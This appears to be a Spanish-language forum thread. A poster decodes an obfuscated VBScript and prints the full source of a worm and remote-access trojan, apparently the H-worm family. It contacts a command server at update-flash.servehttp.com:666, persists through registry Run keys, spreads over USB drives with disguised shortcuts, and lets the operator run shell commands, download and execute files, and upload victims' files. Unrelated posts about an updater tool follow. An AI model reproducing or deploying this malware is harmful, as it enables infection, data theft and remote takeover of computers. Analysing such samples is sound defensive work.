Gl0ZW1zID0gb2Jqd21pc2VydmljZS5leGVjcXVlcnkoInNlbGVjdCAqIGZyb20gd2luMzJfb3BlcmF0aW5nc3lzdGVtIiwsNDgpDQpmb3IgZWFjaCBvYmppdGVtIGluIGNvbGl0ZW1zDQogICAgdmVyc2lvbnN0ciA9IHNwbGl0IChvYmppdGVtLnZlcnNpb24sIi4iKQ0KbmV4dA0KdmVyc2lvbnN0ciA9IHNwbGl0IChjb2xpdGVtcy52ZXJzaW9uLCIuIikNCm9zdmVyc2lvbiA9IHZlcnNpb25zdHIgKDApICYgIi4iDQpmb3IgIHggPSAxIHRvIHVib3VuZCAodmVyc2lvbnN0cikNCgkgb3N2ZXJzaW9uID0gb3N2ZXJzaW9uICYgIHZlcnNpb25zdHIgKGkpDQpuZXh0DQpvc3ZlcnNpb24gPSBldmFsIChvc3ZlcnNpb24pDQppZiAgb3N2ZXJzaW9uID4gNiB0aGVuIHNjID0gInNlY3VyaXR5Y2VudGVyMiIgZWxzZSBzYyA9ICJzZWN1cml0eWNlbnRlciINCg0Kc2V0IG9ianNlY3VyaXR5Y2VudGVyID0gZ2V0b2JqZWN0KCJ3aW5tZ210czpcXGxvY2FsaG9zdFxyb290XCIgJiBzYykNClNldCBjb2xhbnRpdmlydXMgPSBvYmpzZWN1cml0eWNlbnRlci5leGVjcXVlcnkoInNlbGVjdCAqIGZyb20gYW50aXZpcnVzcHJvZHVjdCIsIndxbCIsMCkNCg0KZm9yIGVhY2ggb2JqYW50aXZpcnVzIGluIGNvbGFudGl2aXJ1cw0KICAgIHNlY3VyaXR5ICA9IHNlY3VyaXR5ICAmIG9iamFudGl2aXJ1cy5kaXNwbGF5bmFtZSAmICIgLiINCm5leHQNCmlmIHNlY3VyaXR5ICA9ICIiIHRoZW4gc2VjdXJpdHkgID0gIm5hbi1hdiINCmVuZCBmdW5jdGlvbg0KDQoNCmZ1bmN0aW9uIGluc3RhbmNlDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KDQp1c2JzcHJlYWRpbmcgPSBzaGVsbG9iai5yZWdyZWFkICgiSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXCIgJiBzcGxpdCAoaW5zdGFsbG5hbWUsIi4iKSgwKSAmICJcIikNCmlmIHVzYnNwcmVhZGluZyA9ICIiIHRoZW4NCiAgIGlmIGxjYXNlICggbWlkKHdzY3JpcHQuc2NyaXB0ZnVsbG5hbWUsMikpID0gIjpcIiAmICBsY2FzZShpbnN0YWxsbmFtZSkgdGhlbg0KICAgICAgdXNic3ByZWFkaW5nID0gInRydWUgLSAiICYgZGF0ZQ0KICAgICAgc2hlbGxvYmoucmVnd3JpdGUgIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkgICYgIlwiLCAgdXNic3ByZWFkaW5nLCAiUkVHX1NaIg0KICAgZWxzZQ0KICAgICAgdXNic3ByZWFkaW5nID0gImZhbHNlIC0gIiAmIGRhdGUNCiAgICAgIHNoZWxsb2JqLnJlZ3dyaXRlICJIS0VZX0xPQ0FMX01BQ0hJTkVcc29mdHdhcmVcIiAmIHNwbGl0IChpbnN0YWxsbmFtZSwiLiIpKDApICAmICJcIiwgIHVzYnNwcmVhZGluZywgIlJFR19TWiINCg0KICAgZW5kIGlmDQplbmQgSWYNCg0KDQoNCnVwc3RhcnQNCnNldCBzY3JpcHRmdWxsbmFtZXNob3J0ID0gIGZpbGVzeXN0ZW1vYmouZ2V0ZmlsZSAod3NjcmlwdC5zY3JpcHRmdWxsbmFtZSkNCnNldCBpbnN0YWxsZnVsbG5hbWVzaG9ydCA9ICBmaWxlc3lzdGVtb2JqLmdldGZpbGUgKGluc3RhbGxkaXIgJiBpbnN0YWxsbmFtZSkNCmlmICBsY2FzZSAoc2NyaXB0ZnVsbG5hbWVzaG9ydC5zaG9ydHBhdGgpIDw+IGxjYXNlIChpbnN0YWxsZnVsbG5hbWVzaG9ydC5zaG9ydHBhdGgpIHRoZW4gDQogICAgc2hlbGxvYmoucnVuICJ3c2NyaXB0LmV4ZSAvL0IgIiAmIGNocigzNCkgJiBpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUgJiBDaHIoMzQpDQogICAgd3NjcmlwdC5xdWl0IA0KZW5kIElmDQplcnIuY2xlYXINCnNldCBvbmVvbmNlID0gZmlsZXN5c3RlbW9iai5vcGVudGV4dGZpbGUgKGluc3RhbGxkaXIgJiBpbnN0YWxsbmFtZSAsOCwgZmFsc2UpDQppZiAgZXJyLm51bWJlciA+IDAgdGhlbiB3c2NyaXB0LnF1aXQNCmVuZCBmdW5jdGlvbg0KDQoNCnN1YiBzaXRlZG93bmxvYWRlciAoZmlsZXVybCxmaWxlbmFtZSkNCg0Kc3RybGluayA9IGZpbGV1cmwNCnN0cnNhdmV0byA9IGluc3RhbGxkaXIgJiBmaWxlbmFtZQ0Kc2V0IG9iamh0dHBkb3dubG9hZCA9IGNyZWF0ZW9iamVjdCgibXN4bWwyLnhtbGh0dHAiICkNCm9iamh0dHBkb3dubG9hZC5vcGVuICJnZXQiLCBzdHJsaW5rLCBmYWxzZQ0Kb2JqaHR0cGRvd25sb2FkLnNlbmQNCg0Kc2V0IG9iamZzb2Rvd25sb2FkID0gY3JlYXRlb2JqZWN0ICgic2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QiKQ0KaWYgIG9iamZzb2Rvd25sb2FkLmZpbGVleGlzdHMgKHN0cnNhdmV0bykgdGhlbg0KICAgIG9iamZzb2Rvd25sb2FkLmRlbGV0ZWZpbGUgKHN0cnNhdmV0bykNCmVuZCBpZg0KIA0KaWYgb2JqaHR0cGRvd25sb2FkLnN0YXR1cyA9IDIwMCB0aGVuDQogICBkaW0gIG9ianN0cmVhbWRvd25sb2FkDQogICBzZXQgIG9ianN0cmVhbWRvd25sb2FkID0gY3JlYXRlb2JqZWN0KCJhZG9kYi5zdHJlYW0iKQ0KICAgd2l0aCBvYmpzdHJlYW1kb3dubG9hZA0KCQkudHlwZSA9IDEgDQoJCS5vcGVuDQoJCS53cml0ZSBvYmpodHRwZG93bmxvYWQucmVzcG9uc2Vib2R5DQoJCS5zYXZldG9maWxlIHN0cnNhdmV0bw0KCQkuY2xvc2UNCiAgIGVuZCB3aXRoDQogICBzZXQgb2Jqc3RyZWFtZG93bmxvYWQgPSBub3RoaW5nDQplbmQgaWYNCmlmIG9iamZzb2Rvd25sb2FkLmZpbGVleGlzdHMoc3Ryc2F2ZXRvKSB0aGVuDQogICBzaGVsbG9iai5ydW4gb2JqZnNvZG93bmxvYWQuZ2V0ZmlsZSAoc3Ryc2F2ZXRvKS5zaG9ydHBhdGgNCmVuZCBpZiANCmVuZCBzdWINCg0Kc3ViIGRvd25sb2FkIChmaWxldXJsLGZpbGVkaXIpDQoNCmlmIGZpbGVkaXIgPSAiIiB0aGVuIA0KICAgZmlsZWRpciA9IGluc3RhbGxkaXINCmVuZCBpZg0KDQpzdHJzYXZldG8gPSBmaWxlZGlyICYgbWlkIChmaWxldXJsLCBpbnN0cnJldiAoZmlsZXVybCwiXCIpICsgMSkNCnNldCBvYmpodHRwZG93bmxvYWQgPSBjcmVhdGVvYmplY3QoIm1zeG1sMi54bWxodHRwIikNCm9iamh0dHBkb3dubG9hZC5vcGVuICJwb3N0IiwiaHR0cDovLyIgJiBob3N0ICYgIjoiICYgcG9ydCAmIi8iICYgImlzLXNlbmRpbmciICYgc3BsaXRlciAmIGZpbGV1cmwsIGZhbHNlDQpvYmpodHRwZG93bmxvYWQuc2VuZCAiIg0KICAgICANCnNldCBvYmpmc29kb3dubG9hZCA9IGNyZWF0ZW9iamVjdCAoInNjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0IikNCmlmICBvYmpmc29kb3dubG9hZC5maWxlZXhpc3RzIChzdHJzYXZldG8pIHRoZW4NCiAgICBvYmpmc29kb3dubG9hZC5kZWxldGVmaWxlIChzdHJzYXZldG8pDQplbmQgaWYNCmlmICBvYmpodHRwZG93bmxvYWQuc3RhdHVzID0gMjAwIHRoZW4NCiAgICBkaW0gIG9ianN0cmVhbWRvd25sb2FkDQoJc2V0ICBvYmpzdHJlYW1kb3dubG9hZCA9IGNyZWF0ZW9iamVjdCgiYWRvZGIuc3RyZWFtIikNCiAgICB3aXRoIG9ianN0cmVhbWRvd25sb2FkIA0KCQkgLnR5cGUgPSAxIA0KCQkgLm9wZW4NCgkJIC53cml0ZSBvYmpodHRwZG93bmxvYWQucmVzcG9uc2Vib2R5DQoJCSAuc2F2ZXRvZmlsZSBzdHJzYXZldG8NCgkJIC5jbG9zZQ0KCWVuZCB3aXRoDQogICAgc2V0IG9ianN0cmVhbWRvd25sb2FkICA9IG5vdGhpbmcNCmVuZCBpZg0KaWYgb2JqZnNvZG93bmxvYWQuZmlsZWV4aXN0cyhzdHJzYXZldG8pIHRoZW4NCiAgIHNoZWxsb2JqLnJ1biBvYmpmc29kb3dubG9hZC5nZXRmaWxlIChzdHJzYXZldG8pLnNob3J0cGF0aA0KZW5kIGlmIA0KZW5kIHN1Yg0KDQoNCmZ1bmN0aW9uIHVwbG9hZCAoZmlsZXVybCkNCg0KZGltICBodHRwb2JqLG9ianN0cmVhbXVwbG9hZGUsYnVmZmVyDQpzZXQgIG9ianN0cmVhbXVwbG9hZGUgPSBjcmVhdGVvYmplY3QoImFkb2RiLnN0cmVhbSIpDQp3aXRoIG9ianN0cmVhbXVwbG9hZGUgDQogICAgIC50eXBlID0gMSANCiAgICAgLm9wZW4NCgkgLmxvYWRmcm9tZmlsZSBmaWxldXJsDQoJIGJ1ZmZlciA9IC5yZWFkDQoJIC5jbG9zZQ0KZW5kIHdpdGgNCnNldCBvYmpzdHJlYW1kb3dubG9hZCA9IG5vdGhpbmcNCnNldCBodHRwb2JqID0gY3JlYXRlb2JqZWN0KCJtc3htbDIueG1saHR0cCIpDQpodHRwb2JqLm9wZW4gInBvc3QiLCJodHRwOi8vIiAmIGhvc3QgJiAiOiIgJiBwb3J0ICYiLyIgJiAiaXMtcmVjdmluZyIgJiBzcGxpdGVyICYgZmlsZXVybCwgZmFsc2UNCmh0dHBvYmouc2VuZCBidWZmZXINCmVuZCBmdW5jdGlvbg0KDQoNCmZ1bmN0aW9uIGVudW1kcml2ZXIgKCkNCg0KZm9yICBlYWNoIGRyaXZlIGluIGZpbGVzeXN0ZW1vYmouZHJpdmVzDQppZiAgIGRyaXZlLmlzcmVhZHkgPSB0cnVlIHRoZW4NCiAgICAgZW51bWRyaXZlciA9IGVudW1kcml2ZXIgJiBkcml2ZS5wYXRoICYgInwiICYgZHJpdmUuZHJpdmV0eXBlICYgc3BsaXRlcg0KZW5kIGlmDQpuZXh0DQplbmQgRnVuY3Rpb24NCg0KZnVuY3Rpb24gZW51bWZhZiAoZW51bWRpcikNCg0KZW51bWZhZiA9IGVudW1kaXIgJiBzcGxpdGVyDQpmb3IgIGVhY2ggZm9sZGVyIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyIChlbnVtZGlyKS5zdWJmb2xkZXJzDQogICAgIGVudW1mYWYgPSBlbnVtZmFmICYgZm9sZGVyLm5hbWUgJiAifCIgJiAiIiAmICJ8IiAmICJkIiAmICJ8IiAmIGZvbGRlci5hdHRyaWJ1dGVzICYgc3BsaXRlcg0KbmV4dA0KDQpmb3IgIGVhY2ggZmlsZSBpbiBmaWxlc3lzdGVtb2JqLmdldGZvbGRlciAoZW51bWRpcikuZmlsZXMNCiAgICAgZW51bWZhZiA9IGVudW1mYWYgJiBmaWxlLm5hbWUgJiAifCIgJiBmaWxlLnNpemUgICYgInwiICYgImYiICYgInwiICYgZmlsZS5hdHRyaWJ1dGVzICYgc3BsaXRlcg0KDQpuZXh0DQplbmQgZnVuY3Rpb24NCg0KDQpmdW5jdGlvbiBlbnVtcHJvY2VzcyAoKQ0KDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KDQpzZXQgb2Jqd21pc2VydmljZSA9IGdldG9iamVjdCgid2lubWdtdHM6XFwuXHJvb3RcY2ltdjIiKQ0Kc2V0IGNvbGl0ZW1zID0gb2Jqd21pc2VydmljZS5leGVjcXVlcnkoInNlbGVjdCAqIGZyb20gd2luMzJfcHJvY2VzcyIsLDQ4KQ0KDQpkaW0gb2JqaXRlbQ0KZm9yIGVhY2ggb2JqaXRlbSBpbiBjb2xpdGVtcw0KCWVudW1wcm9jZXNzID0gZW51bXByb2Nlc3MgJiBvYmppdGVtLm5hbWUgJiAifCINCgllbnVtcHJvY2VzcyA9IGVudW1wcm9jZXNzICYgb2JqaXRlbS5wcm9jZXNzaWQgJiAifCINCiAgICBlbnVtcHJvY2VzcyA9IGVudW1wcm9jZXNzICYgb2JqaXRlbS5leGVjdXRhYmxlcGF0aCAmIHNwbGl0ZXINCm5leHQNCmVuZCBmdW5jdGlvbg0KDQpzdWIgZXhpdHByb2Nlc3MgKHBpZCkNCm9uIGVycm9yIHJlc3VtZSBuZXh0DQoNCnNoZWxsb2JqLnJ1biAidGFza2tpbGwgL0YgL1QgL1BJRCAiICYgcGlkLDcsdHJ1ZQ0KZW5kIHN1Yg0KDQpzdWIgZGVsZXRlZmFmICh1cmwpDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KDQpmaWxlc3lzdGVtb2JqLmRlbGV0ZWZpbGUgdXJsDQpmaWxlc3lzdGVtb2JqLmRlbGV0ZWZvbGRlciB1cmwNCg0KZW5kIHN1Yg0KDQpmdW5jdGlvbiBjbWRzaGVsbCAoY21kKQ0KDQpkaW0gaHR0cG9iaixvZXhlYyxyZWFkYWxsZnJvbWFueQ0KDQpzZXQgb2V4ZWMgPSBzaGVsbG9iai5leGVjICgiJWNvbXNwZWMlIC9jICIgJiBjbWQpDQppZiBub3Qgb2V4ZWMuc3Rkb3V0LmF0ZW5kb2ZzdHJlYW0gdGhlbg0KICAgcmVhZGFsbGZyb21hbnkgPSBvZXhlYy5zdGRvdXQucmVhZGFsbA0KZWxzZWlmIG5vdCBvZXhlYy5zdGRlcnIuYXRlbmRvZnN0cmVhbSB0aGVuDQogICByZWFkYWxsZnJvbWFueSA9IG9leGVjLnN0ZGVyci5yZWFkYWxsDQplbHNlIA0KICAgcmVhZGFsbGZyb21hbnkgPSAiIg0KZW5kIGlmDQoNCmNtZHNoZWxsID0gcmVhZGFsbGZyb21hbnkNCmVuZCBmdW5jdGlvbg==")
EXECUTEGLOBAL (ABC)
function deCrypt(data)
    deCrypt=YYY(data)
end function
Function YYY(ByVal base64String)
    Const ZZZ = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    Dim dataLength, sOut, groupBegin
   
    base64String = Replace(base64String, vbCrLf, "")
    base64String = Replace(base64String, vbTab, "")
    base64String = Replace(base64String, " ", "")
    dataLength = Len(base64String)
    If dataLength Mod 4 <> 0 Then
         Err.Raise 1, "Base64Decode", "Bad Base64 string."
         Exit Function
    End If
    For groupBegin = 1 To dataLength Step 4
         Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
         numDataBytes = 3
         nGroup = 0
         
         For CharCounter = 0 To 3
              thisChar = Mid(base64String, groupBegin + CharCounter, 1)
             
              If thisChar = "=" Then
                   numDataBytes = numDataBytes - 1
                   thisData = 0
              Else
                   thisData = InStr(1, ZZZ, thisChar, vbBinaryCompare) - 1
              End If


El contenido del "virus" está cifrado de nuevo con Base64, he añadido el siguiente código para descifrarlo:

Código (vb) [Seleccionar]

Set fs = CreateObject("Scripting.FileSystemObject")
Set a = fs.CreateTextFile("dump2.txt", True)
a.WriteLine(ABC)
a.Close


Y el resultado final es el "virus" completamente descifrado, el análisis te lo dejo para ti (o para otro usuario):

Código (vb) [Seleccionar]
'<[ recoder : houdini (c) skype : houdini-fx ]>

'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=

host = "update-flash.servehttp.com"
port = 666
installdir = "%temp%"
lnkfile = true
lnkfolder = true

'=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=

dim shellobj
set shellobj = wscript.createobject("wscript.shell")
dim filesystemobj
set filesystemobj = createobject("scripting.filesystemobject")
dim httpobj
set httpobj = createobject("msxml2.xmlhttp")


'=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=

installname = wscript.scriptname
startup = shellobj.specialfolders ("startup") & "\"
installdir = shellobj.expandenvironmentstrings(installdir) & "\"
if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
spliter = "<" & "|" & ">"
sleep = 5000
dim response
dim cmd
dim param
info = ""
usbspreading = ""
startdate = ""
dim oneonce

'=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
on error resume next


instance
while true

install

response = ""
response = post ("is-ready","")
cmd = split (response,spliter)
select case cmd (0)
case "excecute"
     param = cmd (1)
     execute param
case "update"
     param = cmd (1)
     oneonce.close
     set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
     oneonce.write param
     oneonce.close
     shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
     wscript.quit
case "uninstall"
     uninstall
case "send"
     download cmd (1),cmd (2)
case "site-send"
     sitedownloader cmd (1),cmd (2)
case "recv"
     param = cmd (1)
     upload (param)
case  "enum-driver"
     post "is-enum-driver",enumdriver  
case  "enum-faf"
     param = cmd (1)
     post "is-enum-faf",enumfaf (param)
case  "enum-process"
     post "is-enum-process",enumprocess  
case  "cmd-shell"
     param = cmd (1)
     post "is-cmd-shell",cmdshell (param)  
case  "delete"
     param = cmd (1)
     deletefaf (param)
case  "exit-process"
     param = cmd (1)
     exitprocess (param)
case  "sleep"
     param = cmd (1)
     sleep = eval (param)        
end select

wscript.sleep sleep

wend


sub install
on error resume next
dim lnkobj
dim filename
dim foldername
dim fileicon
dim foldericon

upstart
for each drive in filesystemobj.drives

if  drive.isready = true then
if  drive.freespace  > 0 then
if  drive.drivetype  = 1 then
   filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
   if  filesystemobj.fileexists (drive.path & "\" & installname)  then
       filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
   end if
   for each file in filesystemobj.getfolder( drive.path & "\" ).Files
       if not lnkfile then exit for
       if  instr (file.name,".") then
           if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
               file.attributes = 2+4
               if  ucase (file.name) <> ucase (installname) then
                   filename = split(file.name,".")
                   set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk")
                   lnkobj.windowstyle = 7
                   lnkobj.targetpath = "cmd.exe"
                   lnkobj.workingdirectory = ""
                   lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                   fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\")
                   if  instr (fileicon,",") = 0 then
                       lnkobj.iconlocation = file.path
                   else
                       lnkobj.iconlocation = fileicon
                   end if
                   lnkobj.save()
               end if
           end if
       end if
   next
   for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
       if not lnkfolder then exit for
       folder.attributes = 2+4
       foldername = folder.name
       set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk")
       lnkobj.windowstyle = 7
       lnkobj.targetpath = "cmd.exe"
       lnkobj.workingdirectory = ""
       lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
       foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\")
       if  instr (foldericon,",") = 0 then
           lnkobj.iconlocation = folder.path
       else
           lnkobj.iconlocation = foldericon
       end if
       lnkobj.save()
   next
end If
end If
end if
next
err.clear
end sub

sub uninstall
on error resume next
dim filename
dim foldername

shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
filesystemobj.deletefile startup & installname ,true
filesystemobj.deletefile wscript.scriptfullname ,true

for  each drive in filesystemobj.drives
if  drive.isready = true then
if  drive.freespace  > 0 then
if  drive.drivetype  = 1 then
   for  each file in filesystemobj.getfolder ( drive.path & "\").files
        on error resume next
        if  instr (file.name,".") then
            if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                file.attributes = 0
                if  ucase (file.name) <> ucase (installname) then
                    filename = split(file.name,".")
                    filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                else
                    filesystemobj.deletefile (drive.path & "\" & file.name)
                end If
            else
                filesystemobj.deletefile (file.path)
            end if
        end if
    next
    for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
        folder.attributes = 0
    next
end if
end if
end if
next
wscript.quit
end sub

function post (cmd ,param)

post = param
httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
httpobj.setrequestheader "user-agent:",information
httpobj.send param
post = httpobj.responsetext
end function

function information
on error resume next
if  inf = "" then
   inf = hwid & spliter
   inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter
   inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter

   set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
   set os = root.execquery ("select * from win32_operatingsystem")
   for each osinfo in os
      inf = inf & osinfo.caption & spliter  
      exit for
   next
   inf = inf & "plus" & spliter
   inf = inf & security & spliter
   inf = inf & usbspreading
   information = inf  
else
   information = inf
end if
end function


sub upstart ()
on error resume Next

shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true

end sub


function hwid
on error resume next

set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
set disks = root.execquery ("select * from win32_logicaldisk")
for each disk in disks
   if  disk.volumeserialnumber <> "" then
       hwid = disk.volumeserialnumber
       exit for
   end if
next
end function


function security
on error resume next

security = ""

set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
for each objitem in colitems
   versionstr = split (objitem.version,".")
next
versionstr = split (colitems.version,".")
osversion = versionstr (0) & "."
for  x = 1 to ubound (versionstr)
osversion = osversion &  versionstr (i)
next
osversion = eval (osversion)
if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"

set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)

for each objantivirus in colantivirus
   security  = security  & objantivirus.displayname & " ."
next
if security  = "" then security  = "nan-av"
end function


function instance
on error resume next

usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
if usbspreading = "" then
  if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
     usbspreading = "true - " & date
     shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
  else
     usbspreading = "false - " & date
     shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"

  end if
end If



upstart
set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
set installfullnameshort =  filesystemobj.getfile (installdir & installname)
if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then
   shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
   wscript.quit
end If
err.clear
set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
if  err.number > 0 then wscript.quit
end function


sub sitedownloader (fileurl,filename)

strlink = fileurl
strsaveto = installdir & filename
set objhttpdownload = createobject("msxml2.xmlhttp" )
objhttpdownload.open "get", strlink, false
objhttpdownload.send

set objfsodownload = createobject ("scripting.filesystemobject")
if  objfsodownload.fileexists (strsaveto) then
   objfsodownload.deletefile (strsaveto)
end if

if objhttpdownload.status = 200 then
  dim  objstreamdownload
  set  objstreamdownload = createobject("adodb.stream")
  with objstreamdownload
.type = 1
.open
.write objhttpdownload.responsebody
.savetofile strsaveto
.close
  end with
  set objstreamdownload = nothing
end if
if objfsodownload.fileexists(strsaveto) then
  shellobj.run objfsodownload.getfile (strsaveto).shortpath
end if
end sub

sub download (fileurl,filedir)

if filedir = "" then
  filedir = installdir
end if

strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
set objhttpdownload = createobject("msxml2.xmlhttp")
objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
objhttpdownload.send ""
   
set objfsodownload = createobject ("scripting.filesystemobject")
if  objfsodownload.fileexists (strsaveto) then
   objfsodownload.deletefile (strsaveto)
end if
if  objhttpdownload.status = 200 then
   dim  objstreamdownload
set  objstreamdownload = createobject("adodb.stream")
   with objstreamdownload
.type = 1
.open
.write objhttpdownload.responsebody
.savetofile strsaveto
.close
end with
   set objstreamdownload  = nothing
end if
if objfsodownload.fileexists(strsaveto) then
  shellobj.run objfsodownload.getfile (strsaveto).shortpath
end if
end sub


function upload (fileurl)

dim  httpobj,objstreamuploade,buffer
set  objstreamuploade = createobject("adodb.stream")
with objstreamuploade
    .type = 1
    .open
.loadfromfile fileurl
buffer = .read
.close
end with
set objstreamdownload = nothing
set httpobj = createobject("msxml2.xmlhttp")
httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
httpobj.send buffer
end function


function enumdriver ()

for  each drive in filesystemobj.drives
if   drive.isready = true then
    enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
end if
next
end Function

function enumfaf (enumdir)

enumfaf = enumdir & spliter
for  each folder in filesystemobj.getfolder (enumdir).subfolders
    enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
next

for  each file in filesystemobj.getfolder (enumdir).files
    enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter

next
end function


function enumprocess ()

on error resume next

set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
set colitems = objwmiservice.execquery("select * from win32_process",,48)

dim objitem
for each objitem in colitems
enumprocess = enumprocess & objitem.name & "|"
enumprocess = enumprocess & objitem.processid & "|"
   enumprocess = enumprocess & objitem.executablepath & spliter
next
end function

sub exitprocess (pid)
on error resume next

shellobj.run "taskkill /F /T /PID " & pid,7,true
end sub

sub deletefaf (url)
on error resume next

filesystemobj.deletefile url
filesystemobj.deletefolder url

end sub

function cmdshell (cmd)

dim httpobj,oexec,readallfromany

set oexec = shellobj.exec ("%comspec% /c " & cmd)
if not oexec.stdout.atendofstream then
  readallfromany = oexec.stdout.readall
elseif not oexec.stderr.atendofstream then
  readallfromany = oexec.stderr.readall
else
  readallfromany = ""
end if

cmdshell = readallfromany
end function
#428
Cita de: rapbyone en 16 Octubre 2013, 01:19 AM
Amigo, intente bajar el Smart_Updater.exe y el source, pero están caídos los enlaces   :xD

Fixed, ahora ya funcionan. El enlace de EJEMPLO.zip funciona correctamente, lo has podido probar?
#429
Cita de: rapbyone en 16 Octubre 2013, 00:01 AM
Excelente  ;-) sos un genio amigo, lo descargaré y probare, cualquier duda la comentó.

Un consulta el programa te avisa cuando hay una nueva versión o hay que comprobarlo manualmente?


Gracias amigo  ;D

No te avisa. Aunque teniendo el código siempre puedes añadir esa opción tú mismo (no es complicado, si no sabes lo puedo implementar yo).

Para integrar Smart Updater en tu aplicación simplemente añade n botón que se llame actualizar y dentro pones:

Código (vb) [Seleccionar]

Shell "Smart_Updater.exe /auto"
End


De ésta forma ejecutarás el updater con el parámetro /auto y se auto-actualizará todo automáticamente. Si no añades el parametro /auto el usuario deberá pulsar el botón UPDATE manualmente.

Prueba el EJEMPLO.ZIP y dime si se descarga todo correctamente en tu PC